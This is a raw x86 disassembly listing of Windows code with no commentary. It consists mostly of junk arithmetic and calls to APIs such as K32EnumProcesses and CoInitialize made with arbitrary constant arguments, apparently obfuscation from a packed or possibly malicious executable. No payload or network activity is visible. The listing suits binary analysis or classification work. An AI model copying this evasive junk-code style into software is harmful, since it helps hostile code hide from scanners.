call fcn.00401170
mov ecx, dword [ebp - 0x24]
add esp, 4
mov edx, eax
mov dword [0x47d9fc], 0x584a5056
jmp 0x40bc23
mov edx, dword [ebp - 0x10]
or dword [ebp - 0x34], 0x1441b
add edx, 0x16a9b
cmp dword [ebp - 0x50], 0x969c
mov dword [ebp - 0x10], edx
jle 0x40bca8
push 0x161b4
push 0x16f44
push 0xe6b5
push 0xe0cc
push 0x931a
call dword [sym.imp.ole32.dll_StringFromGUID2]
mov eax, dword [ebp - 0x40]
xor edi, 0x388c
and dword [ebp - 0xc], eax
add esp, 0x14
mov edx, dword [ebp - 0x10]
add esi, edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x38], edi
cmp eax, 0x298a
jbe 0x40bca8
and edx, eax
xor ebx, edi
mov eax, dword [ebp - 0x1c]
or edi, 0x15b05
xor dword [ebp - 0x3c], eax
xor esi, 0x5b26
mov eax, dword [ebp - 0x30]
add eax, 0x159c2
mov dword [ebp - 0x38], edi
dec dword [ebp - 0x5c]
mov dword [ebp - 0x30], eax
jmp 0x40bcab
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x48]
sub ebx, ecx
and dword [ebp - 0x5c], 0xb5c7
sub edx, ebx
and esi, 0x41bf
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x3c], 0x1067
jle 0x40bd2c
mov edx, dword [ebp - 0x44]
add eax, 0xd22d
xor edx, dword [ebp - 8]
add ecx, 0x1076d
mov dword [ebp - 0x44], edx
sub esi, 0x4b01
mov edx, dword [ebp - 0x48]
xor dword [ebp - 0x2c], edx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], ecx
cmp edx, 0x6fe1
jle 0x40bd2f
mov edi, dword [ebp - 0x5c]
sub esi, 0x5395
or dword [ebp - 0x1c], edi
mov edi, dword [ebp - 0x40]
or edi, dword [ebp - 0x3c]
sub dword [ebp - 0x34], 0x1156
or dword [ebp - 0x50], 0x71f8
and eax, 0x17497
mov dword [ebp - 0x40], edi
mov edi, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
jmp 0x40bd2f
mov edx, dword [ebp - 0x28]
cmp dword [ebp - 0x48], 0x608d
jl 0x40bc20
lea eax, [edx + 0x4784d]
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x3c]
lea ecx, [esi + 0x1bc68]
push eax
mov eax, dword [ebp - 0x10]
add eax, 0xfffd4688
push eax
mov eax, dword [ebp - 0x40]
lea edx, [ebx - 0x46028]
add eax, 0xffff4727
push eax
lea eax, [edi - 0x7771]
push eax
lea eax, [ebx - 0x45aa6]
push eax
call fcn.00401150
mov edx, dword [ebp - 0x34]
lea ecx, [ebx - 0x354d0]
mov ebx, dword [ebp - 0x58]
push ecx
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x10]
lea ecx, [ebx - 0xc13f]
push ecx
mov ecx, dword [ebp - 0x24]
add ecx, 0xffff1cc9
push ecx
lea ecx, [edx - 0x8874]
push ecx
lea ecx, [eax - 0x213d3]
add eax, 0xfffcd840
push ecx
push eax
lea eax, [edx - 0xe87f]
push eax
mov eax, dword [ebp - 0x2c]
lea edx, [ebx - 0x9ef7]
mov ebx, dword [ebp - 0x48]
add eax, 0x61fe
push eax
lea ecx, [ebx - 0x5b59]
call fcn.00401210
mov ecx, dword [ebp - 0x20]
mov edx, eax
mov eax, dword [ebp - 0x1c]
add ecx, 0xfffcac82
push ecx
lea ecx, [ebx - 0x7d2]
mov dword [ebp - 0x34], edx
push ecx
mov ecx, dword [ebp - 0x40]
add eax, 0x34ed
add ecx, 0xffff7698
push ecx
lea ecx, [edx + 0x11f33]
push ecx
mov ecx, dword [ebp - 0x60]
lea edx, [ebx - 0x3849]
add ecx, 0x65a
push ecx
mov ecx, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x5c]
add eax, 0x35ab
push eax
mov eax, dword [ebp - 0x58]
lea ecx, [ecx + 0x138af]
add eax, 0xffff88bd
push eax
call fcn.00401160
mov ecx, dword [ebp - 0x50]
add esp, 0x54
mov edx, dword [ebp - 0x34]
add ecx, 0xf9f8
mov ebx, eax
mov dword [ebp - 0x2c], eax
push ecx
lea ecx, [edx + 0x11465]
push ecx
mov ecx, dword [ebp - 0xc]
add ecx, 0x23674
lea eax, [edi - 0x133da]
push ecx
mov ecx, dword [ebp - 0x50]
mov edi, edx
add ecx, 0x11c7b
push ecx
lea ecx, [edx + 0x11a59]
mov edx, dword [ebp - 0x48]
push ecx
mov ecx, dword [ebp - 0x58]
push eax
mov eax, dword [ebp - 0x44]
lea edx, [edx + 0xfadb]
add eax, 0xfffefed4
push eax
lea eax, [edi + 0x137c3]
push eax
lea ecx, [ecx - 0x1f52b]
call fcn.00401210
mov ecx, dword [ebp - 0x28]
add esp, 0x20
mov dword [ebp - 4], eax
mov dword [0x47d9f0], 0x7a736859
cmp ecx, 0xfffc8000
jge 0x40bf6f
mov edx, 0xfffc8000
mov dword [ebp - 0x28], 0xfffc8000
sub edx, ecx
imul ecx, edx, 0xfffec339
mov dword [ebp - 0x5c], edx
mov edx, dword [ebp - 0x20]
add dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 8]
nop dword [eax]
dec dword [ebp - 0x60]
sub ecx, eax
mov eax, dword [ebp - 0x14]
or ebx, edx
add eax, edx
mov dword [ebp - 8], ecx
and eax, 0x92af
and ebx, 0x870c
cmp dword [ebp - 0x18], 0xdfc7
mov dword [ebp - 0x14], eax
jbe 0x40bf5f
add edi, ebx
mov dword [ebp - 0x34], edi
mov edi, dword [ebp - 0x3c]
add edi, 0x1d16
push 0x12594
mov dword [ebp - 0x3c], edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 8]
add esp, 4
cmp dword [ebp - 0x60], 0xb0a
mov edx, dword [ebp - 0x20]
jle 0x40bf5c
mov eax, dword [ebp - 0x1c]
or edi, 0x13f9e
xor dword [ebp - 0x48], eax
add ebx, 0x317a
sub dword [ebp - 0x34], 0x10b39
xor esi, 0x444e
add edi, 0x24be
mov dword [ebp - 0x3c], edi
mov edi, dword [ebp - 0x34]
sub dword [ebp - 0x5c], 1
mov eax, dword [ebp - 4]
jne 0x40bee0
mov dword [ebp - 0x2c], ebx
mov edx, dword [ebp - 0x44]
lea ebx, [edi + 0x11f33]
mov edi, dword [ebp - 0x2c]
mov dword [0x47d9e4], 0x5657614d
lea ecx, [edx - 0xc80a]
lea eax, [edi - 0x4b0e]
push eax
mov eax, dword [ebp - 0xc]
add eax, 0x15b91
push eax
mov eax, dword [ebp - 0x3c]
add eax, 0xfffcfa7f
push eax
push ebx
push ecx
lea eax, [edx - 0x1a03f]
push eax
lea eax, [esi + 0x135a5]
push eax
mov eax, dword [ebp - 0x28]
add eax, 0x5031c
push eax
mov eax, dword [ebp - 0x34]
lea edx, [eax + 0x389]
lea ecx, [eax + 0x153e3]
call fcn.00401160
mov ecx, dword [ebp - 0x44]
mov edx, eax
add ecx, 0xffff107b
mov dword [ebp - 0x3c], edx
push ecx
add edx, 0x1b691
lea ecx, [edi + 0xfb08]
call fcn.00401170
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x18]
lea ecx, [edx + 0x49a28]
push ecx
mov ecx, dword [ebp - 0xc]
add ecx, 0x23bf6
push ecx
mov ecx, dword [ebp - 0x34]
add ecx, 0x10ee3
push ecx
lea ecx, [eax + 0xfcbc]
push ecx
lea ecx, [eax + 0xff25]
mov eax, dword [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x60]
add eax, 0xfffd5edc
push eax
lea eax, [ecx - 0x32c7]
add ecx, 0xfffef5cd
push eax
lea eax, [edx + 0x4dc7e]
mov edx, dword [ebp - 0x54]
push eax
lea edx, [edx + 0x5dc9]
call fcn.00401210
mov edx, dword [ebp - 0x1c]
lea ecx, [edi + 0xfb08]
mov eax, dword [ebp - 0x14]
add esp, 0x44
add eax, 0x6bc4
lea edx, [edx + 0x13a91]
push eax
call fcn.00401170
mov ecx, dword [ebp - 4]
mov edi, dword [ebp - 0x38]
add ecx, 0x1637
push ecx
mov ecx, dword [ebp - 0x48]
add ecx, 0xfffff82e
mov dword [ebp - 0x5c], eax
push ecx
lea ecx, [edi + 0xa76]
push ecx
mov ecx, dword [ebp - 0x44]
push ebx
mov eax, dword [ebp - 0x3c]
add ecx, 0xffff37f6
mov ebx, dword [ebp - 0x2c]
add eax, 0x15e92
push ecx
mov ecx, dword [ebp - 0x24]
add ecx, 0xfffe26b8
push ecx
mov ecx, dword [ebp - 8]
lea edx, [ebx - 0x5dbc]
push eax
lea eax, [edi + 0x241b]
push eax
lea ecx, [ecx + 0x19346]
call fcn.00401160
mov edi, dword [ebp - 0x14]
add esp, 0x24
mov dword [ebp - 0x48], eax
jmp 0x40c0e3
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x54]
sub esi, eax
and dword [ebp - 0x60], 0xeb55
xor edx, 0x4a89
mov dword [ebp - 0x54], edx
cmp ebx, 0x13880
jge 0x40c197
mov eax, dword [ebp - 0x3c]
or esi, edi
mov ecx, dword [ebp - 0x10]
or edx, 0x5df6
or dword [ebp - 0x44], eax
add ecx, 0x6399
add dword [ebp - 0x58], esi
and eax, 0x1392a
sub ebx, 0x4b7f
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x3c], eax
cmp esi, 0x1125b
je 0x40c197
mov eax, dword [ebp - 0x34]
sub ecx, ebx
xor eax, 0xfaef
and ecx, 0xc633
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x34], eax
cmp eax, 0xa286
jge 0x40c197
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov eax, dword [ebp - 0x30]
or edi, 0x17a19
mov ecx, dword [ebp - 8]
xor eax, ecx
or dword [ebp - 0x1c], eax
sub dword [ebp - 0x3c], 0x46d9
or esi, dword [ebp - 0x18]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 4]
cmp ebx, 0x377
jne 0x40c19d
and eax, 0xd9e2
and dword [ebp - 0x58], 0x1045c
mov dword [ebp - 4], eax
jmp 0x40c19d
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
or ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x44]
and edx, dword [ebp - 0x60]
add dword [ebp - 0x10], ecx
inc dword [ebp - 0x24]
xor dword [ebp - 0x3c], 0x11b62
cmp dword [ebp - 0x10], 0x9c7
mov dword [ebp - 0x44], edx
mov dword [ebp - 8], ecx
jle 0x40c22d
sub ebx, dword [ebp - 0x58]
xor eax, 0x8c99
mov dword [ebp - 4], eax
mov eax, edi
xor eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x54]
push 0x6836
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x48]
xor eax, dword [ebp - 0x10]
push 0x69ef
push 0x1800
push 0xbc1d
mov dword [ebp - 0x48], eax
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
mov eax, dword [ebp - 0x1c]
add esp, 0x10
mov edx, dword [ebp - 0x44]
cmp eax, 0x5581
jge 0x40c22a
mov ecx, dword [ebp - 0x24]
and eax, 0x143f7
add dword [ebp - 4], 0x3f8e
and dword [ebp - 0x10], ecx
or dword [ebp - 0x3c], ecx
or dword [ebp - 0x58], 0x5a34
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
cmp dword [ebp - 0x24], 0x216d6
jl 0x40c0e0
dec dword [ebp - 0x34]
lea eax, [edi + 0x6bc4]
xor edx, edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x44], edx
xor ecx, 0xa444
mov edx, dword [ebp - 0x38]
or esi, 0xa134
add ecx, 0xabee
mov dword [ebp - 8], ecx
push eax
lea edx, [edx - 0x1bd0]
lea ecx, [esi + 0xd509]
call fcn.00401170
mov ecx, dword [ebp - 0x48]
add esp, 4
mov dword [ebp - 0x20], eax
lea ecx, [ecx + 0x844a]
call fcn.00401200
mov dword [ebp - 0x28], eax
mov ecx, edi
mov eax, dword [ebp - 0xc]
or dword [ebp - 0x24], ecx
xor ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
cmp eax, 0x94c7
jle 0x40c320
push 0x11e70
push 0x7c5e
push 0x7c6b
push 0x38ae
push 0x82e1
push 0x13b46
push 0x5f2a
push 0x17d49
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edx, dword [ebp - 0x20]
xor esi, 0xa8
mov ecx, dword [ebp - 0x1c]
add esp, 0x20
and dword [ebp - 0x54], 0x119be
and ecx, edx
or edx, 0x176dc
mov dword [ebp - 0x1c], ecx
or esi, 0x8c13
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x30], 0x25d8
je 0x40c318
mov eax, dword [ebp - 0x18]
and ecx, eax
or dword [ebp - 0x60], 0x7b8c
and dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
jmp 0x40c323
mov edx, dword [ebp - 0x20]
sub eax, dword [ebp - 0x44]
add ebx, 0x4fb7
inc dword [ebp - 0x3c]
xor dword [ebp - 0x5c], 0x120f4
mov edi, dword [ebp - 0x38]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
xor eax, 0xeafb
sub eax, esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
and eax, 0x29d6
and dword [ebp - 0x34], eax
cmp dword [ebp - 0x18], 0x16acc
mov eax, dword [ebp - 0xc]
je 0x40c37a
and dword [ebp - 0x48], eax
xor eax, edi
or ecx, dword [ebp - 8]
add eax, 0xb78c
sub dword [ebp - 0x54], 0x1aed
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x3c], 0x1343
jl 0x40c291
or eax, dword [ebp - 0x18]
xor esi, 0x994e
or edx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x24]
and eax, 0x10abd
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
cmp edi, 0x5a9f
jge 0x40c477
push 0x102d2
push 0x7f14
push 0x8613
push 0x10ecb
push 0x180ae
push 0x14094
push 0xc0b6
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
mov eax, dword [ebp - 0x10]
add ebx, 0x5043
sub dword [ebp - 4], eax
add esp, 0x1c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x28]
add eax, 0xad14
mov edx, dword [ebp - 0x3c]
or ecx, 0xacbc
xor eax, 0x1f397
mov dword [ebp - 0x2c], ebx
add ecx, 0x13303
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], ecx
cmp edx, 0x5d74
je 0x40c474
xor eax, dword [ebp - 0x54]
or edx, 0x2569
and esi, dword [ebp - 0x30]
add eax, 0x177f2
xor dword [ebp - 8], 0x9027
add ecx, 0xfbf7
cmp dword [ebp - 0x54], 0xf07b
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x28], ecx
jle 0x40c477
add dword [ebp - 0x18], ebx
and eax, edi
and dword [ebp - 0x60], 0xbcff
and ecx, 0xbaa
sub dword [ebp - 0x1c], edx
dec dword [ebp - 0x54]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jmp 0x40c477
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 8]
add eax, 0xf5b7
mov edi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x5c]
push eax
lea eax, [edx + 0xa445]
push eax
lea eax, [edi + 0x144db]
push eax
mov eax, dword [ebp - 0x1c]
lea ecx, [ecx - 0x6b76]
add eax, 0xdef0
push eax
lea eax, [edx + 0x1f28]
push eax
lea edx, [esi - 0x23e1]
call fcn.00401150
mov ecx, dword [ebp - 0x20]
add esp, 0x14
mov edx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 4]
nop word [eax + eax]
mov ebx, dword [ebp - 0x54]
or eax, 0x163fe
add ebx, dword [ebp - 0x28]
or ecx, 0x1810e
inc dword [ebp - 0x18]
or esi, 0x6493
sub dword [ebp - 0x3c], 0xd61e
add dword [ebp - 0x48], edx
mov dword [ebp - 0x54], ebx
mov ebx, dword [ebp - 0x40]
sub dword [ebp - 8], ebx
inc ebx
cmp dword [ebp - 8], 0x15fc2
mov dword [ebp - 0x40], ebx
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x20], ecx
jle 0x40c563
push 0x9e
push 0xdd34
push 0x9def
push 0x309b
push 0x42fc
add ebx, 0xb4
push 0xd8b2
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.USER32.dll_SetRect]
mov ecx, dword [ebp - 0x20]
add esp, 0x18
mov eax, dword [ebp - 4]
sub edi, 0x138fa
sub esi, dword [ebp - 0x34]
xor ecx, eax
mov edx, dword [ebp - 0xc]
sub ecx, 0xafda
xor esi, dword [ebp - 0x40]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x18], 0x3ff0
jl 0x40c4d0
mov edx, dword [ebp - 0x60]
lea ecx, [ebx + 0xf6d0]
mov eax, dword [ebp - 0x1c]
add eax, 0xe5a7
mov dword [ebp - 0x24], esi
push eax
lea edx, [edx + 0x137ec]
mov dword [ebp - 0x14], edi
call fcn.00401170
mov esi, dword [ebp - 0x4c]
add esp, 4
mov edi, dword [ebp - 0x38]
mov ecx, eax
mov dword [ebp - 0x10], ecx
cmp esi, 0x32b2
jge 0x40c684
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
sub dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x30]
xor dword [ebp - 0xc], 0x138fe
and eax, 0x220
or dword [ebp - 0x40], 0xc341
sub eax, 0x2ab
mov dword [ebp - 0x30], eax
cmp ebx, 0xfda4
jle 0x40c62e
mov eax, dword [ebp - 0x3c]
xor edx, ebx
add eax, dword [ebp - 0x1c]
xor edi, 0x11f53
sub dword [ebp - 0x14], 0x16427
or dword [ebp - 0x44], 0x577a
sub dword [ebp - 0x28], 0x13e4c
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], edx
cmp eax, 0xea1a
je 0x40c62e
mov esi, dword [ebp - 0x4c]
xor eax, 0xe986
sub dword [ebp - 0x44], eax
xor ecx, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x44]
add eax, 0x8e27
mov dword [ebp - 0x10], ecx
or eax, ebx
jmp 0x40c631
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x48]
inc esi
cmp dword [ebp - 4], 0xc2a6
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x44], eax
jge 0x40c675
add dword [ebp - 0x58], 0xb4b4
xor dword [ebp - 8], 0x14b70
push 0x135eb
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov edx, dword [ebp - 0x18]
add esp, 4
mov ecx, dword [ebp - 0x10]
or ebx, 0x5f75
and edx, 0x126f4
mov dword [ebp - 0x18], edx
cmp esi, 0x32b2
jl 0x40c5b0
mov dword [ebp - 0x2c], ebx
mov ecx, dword [ebp - 0x48]
mov dword [str.aJFuRJavwgaorfNwIcYwzdrMwVpvcrBpgxUJucUorlrCCUnuYTdUbRABwXFZuFRWnPZxLZdcLEiDGeypYTEfWbvMReGUwffxwcPW], 0x62424f79
lea ecx, [ecx + 0x210db]
call fcn.00401200
mov ecx, dword [ebp - 0x44]
mov edx, eax
add ecx, 0xfffe628f
mov dword [ebp - 0x60], edx
push ecx
mov ecx, dword [ebp - 0x1c]
add edx, 0xaad9
mov dword [0x47d9cc], 0x524c4865
lea ecx, [ecx + 0x17868]
call fcn.00401170
mov ecx, dword [ebp - 0x24]
add ecx, 0xb3a3
mov dword [ebp - 0x5c], eax
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, 0x13080
push ecx
lea ecx, [ebx + 0xa966]
push ecx
mov ecx, dword [ebp - 0x3c]
add ecx, 0x1ff86
push ecx
lea ecx, [edi - 0x1fed]
push ecx
mov ecx, dword [ebp - 0x60]
lea eax, [ecx - 0x6d31]
push eax
mov eax, dword [ebp - 0x54]
lea edx, [ecx + 0xc310]
mov ecx, dword [ebp - 0x30]
add eax, 0xffff5f3f
push eax
lea eax, [ebx + 0xd246]
push eax
lea ecx, [ecx + 0x7df]
call fcn.00401210
mov dword [ebp - 0x44], eax
add esp, 0x24
mov eax, dword [ebp - 0x48]
cmp eax, 0xfffe0010
jge 0x40c912
mov esi, dword [ebp - 0x14]
mov ecx, 0xfffe0010
mov edx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x50], ecx
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x48], 0xfffe0010
nop dword [eax]
nop dword [eax + eax]
sub edx, dword [ebp - 0x24]
xor ecx, 0x10387
or dword [ebp - 0x44], 0x1e60
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0x40]
xor esi, ecx
cmp dword [ebp - 0x24], 0x9de
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], esi
jne 0x40c800
mov eax, dword [ebp - 0x58]
add dword [ebp - 8], eax
mov edx, dword [ebp - 0x5c]
or dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x30]
or eax, 0xda32
add edx, dword [ebp - 0x18]
cmp dword [ebp - 0x54], 0x141da
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x30], edx
jne 0x40c803
add eax, dword [ebp - 0x3c]
sub dword [ebp - 4], ecx
mov dword [ebp - 0x10], eax
call fcn.004010d0
mov eax, dword [ebp - 0x60]
and eax, dword [ebp - 0xc]
add dword [ebp - 0x34], edi
cmp dword [ebp - 0x28], 0xa0ec
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 4]
jge 0x40c806
mov ecx, dword [ebp - 8]
and dword [ebp - 0x10], 0xfc3b
or ecx, 0xd68b
sub eax, ecx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0x20]
xor ecx, 0x1471c
dec dword [ebp - 0x1c]
jmp 0x40c809
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x20]
or ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x1c]
sub dword [ebp - 0x54], eax
xor esi, 0x145c6
sub dword [ebp - 0x5c], ecx
sub eax, 0x8c3c
xor dword [ebp - 0x28], ebx
cmp esi, 0x17db6
mov dword [ebp - 0x1c], esi
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], eax
jle 0x40c8ff
mov esi, dword [ebp - 0x60]
add esi, dword [ebp - 0xc]
or dword [ebp - 0x54], esi
and dword [ebp - 0x1c], 0x9d40
cmp ecx, 0xdeee
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x60], esi
mov esi, dword [ebp - 0x14]
jne 0x40c902
xor edx, dword [ebp - 0x18]
and ecx, 0x16caa
or dword [ebp - 0x58], 0xf42a
and dword [ebp - 0x1c], 0x15f00
cmp dword [ebp - 0x54], 0xdb08
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x30], edx
jle 0x40c902
mov edx, dword [ebp - 0x58]
or edx, 0x17edf
add edx, 0xdeee
and edx, eax
mov dword [ebp - 0x58], edx
mov edx, dword [ebp - 0x18]
cmp edx, 0xb24b
je 0x40c905
mov eax, dword [ebp - 0x58]
add edi, 0x8989
and eax, dword [ebp - 0x28]
xor edi, ecx
sub ecx, dword [ebp - 0x34]
and edx, 0x6cf4
push 0x12394
push 0x11473
or eax, 0x12f83
mov dword [ebp - 0x18], edx
push 0x6a25
xor ebx, 0x9efb
mov dword [ebp - 0x28], eax
or esi, 0x7bec
mov dword [ebp - 0x2c], ebx
push 0x6f2
mov dword [ebp - 0x14], esi
and edi, edx
mov dword [ebp - 0xc], ecx
call dword [sym.imp.ole32.dll_CoInitialize]
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
sub dword [ebp - 0x50], 1
jne 0x40c760
mov esi, dword [ebp - 0x4c]
lea ecx, [edi - 0x14e17]
call fcn.00401200
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [0x47da08], 0x6e61524c
lea ecx, [ecx - 0x559b]
call fcn.00401200
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x30]
add eax, 0x4038
lea ecx, [edx - 0x5d66]
add edx, 0xffff8fec
push ecx
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffe8952
push ecx
lea ecx, [ebx + 0xdf3f]
push ecx
lea ecx, [edi - 0x1b13]
push ecx
lea ecx, [edi - 0x493f]
push ecx
mov ecx, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x3c]
add ecx, 0x33e5c
add eax, 0x1ae0d
push eax
mov eax, dword [ebp - 0x54]
add eax, 0xeac4
push eax
call fcn.00401160
mov dword [ebp - 0x58], eax
add esp, 0x20
add eax, 0x7361
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4c], eax
test eax, eax
jle 0x40cb29
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x48]
nop dword [eax]
sub dword [ebp - 0x60], 0xfc7a
or edx, edi
sub eax, 0x1439
mov dword [ebp - 0x50], edx
sub ecx, 0x4d82
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x48], ecx
cmp esi, 0xa8fc
je 0x40cb1a
mov eax, dword [ebp - 0x30]
sub ecx, 0xf0a6
mov edx, dword [ebp - 0x10]
xor eax, edx
and edx, dword [ebp - 0x58]
and dword [ebp - 0x20], 0xdb
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0xc]
sub ecx, edi
mov dword [ebp - 0x30], eax
xor edi, 0x17a54
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], edx
cmp edx, 0x16234
je 0x40cb11
mov ebx, dword [ebp - 0x44]
or ecx, 0x43f8
sub dword [ebp - 0x3c], ebx
sub ecx, 0x15dda
mov dword [ebp - 0xc], ecx
mov ecx, ebx
mov ebx, dword [ebp - 0x2c]
add ecx, ecx
or dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], ecx
cmp eax, 0x11a1
jne 0x40cb11
or dword [ebp - 0x40], ebx
xor edx, 0x18460
push 0xb685
push 0x5cbb
push 0x1599d
push 0x1678c
push 0xcef4
push 0xdfe5
push 0x89d7
push 0x122c5
push 0x13bea
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x30], 0x101
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [ebp - 0x34]
add esp, 0x24
cmp eax, 0x35ce
jne 0x40cb14
mov ecx, dword [ebp - 0xc]
mov eax, ebx
and ecx, dword [ebp - 0x14]
or eax, 0x101
xor dword [ebp - 0x60], 0x19d7
or esi, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x54]
or eax, dword [ebp - 0x18]
cmp dword [ebp - 0x40], 0xd1aa
mov dword [ebp - 0x54], eax
mov dword [ebp - 0xc], ecx
jne 0x40cb0c
mov eax, dword [ebp - 0x20]
or edx, 0x6dd9
add dword [ebp - 8], 0xd1a5
sub esi, eax
xor dword [ebp - 0x44], 0xb99b
and ecx, eax
xor dword [ebp - 0x60], 0xbc1
or esi, 0x4705
xor eax, 0x10d7d
mov dword [ebp - 0x50], edx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x34]
jmp 0x40cb17
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x48]
inc dword [ebp - 0x5c]
mov ebx, dword [ebp - 0x4c]
cmp dword [ebp - 0x5c], ebx
jl 0x40c9c0
mov ecx, dword [ebp - 0x14]
mov ebx, dword [ebp - 4]
nop
mov eax, dword [ebp - 0x34]
or ebx, 0xc6a5
add eax, dword [ebp - 0x50]
and ecx, 0xd316
sub dword [ebp - 0x60], eax
mov edx, dword [ebp - 0x30]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ecx
cmp esi, 0x84f
je 0x40cb98
add ebx, edi
add ecx, 0xe84a
add edx, 0xb43b
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ecx
cmp esi, 0x9f9c
je 0x40cb98
xor dword [ebp - 0x54], 0xa737
mov eax, ecx
or eax, dword [ebp - 0x3c]
xor eax, dword [ebp - 0x28]
and eax, dword [ebp - 0x34]
add dword [ebp - 0x10], 0x2574
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x44]
and eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 8]
or edx, dword [ebp - 0x28]
inc eax
xor dword [ebp - 0x44], 0x9ec4
cmp dword [ebp - 0x54], 0x168c8
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [ebp - 0x30], edx
jne 0x40cbe3
mov eax, dword [ebp - 0x50]
xor eax, dword [ebp - 0x40]
add dword [ebp - 0x18], 0xe85c
push 0x1567d
mov dword [ebp - 0x50], eax
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
mov ecx, dword [ebp - 0x14]
add esp, 4
mov eax, dword [ebp - 8]
mov dword [ebp - 0x54], 0x14773
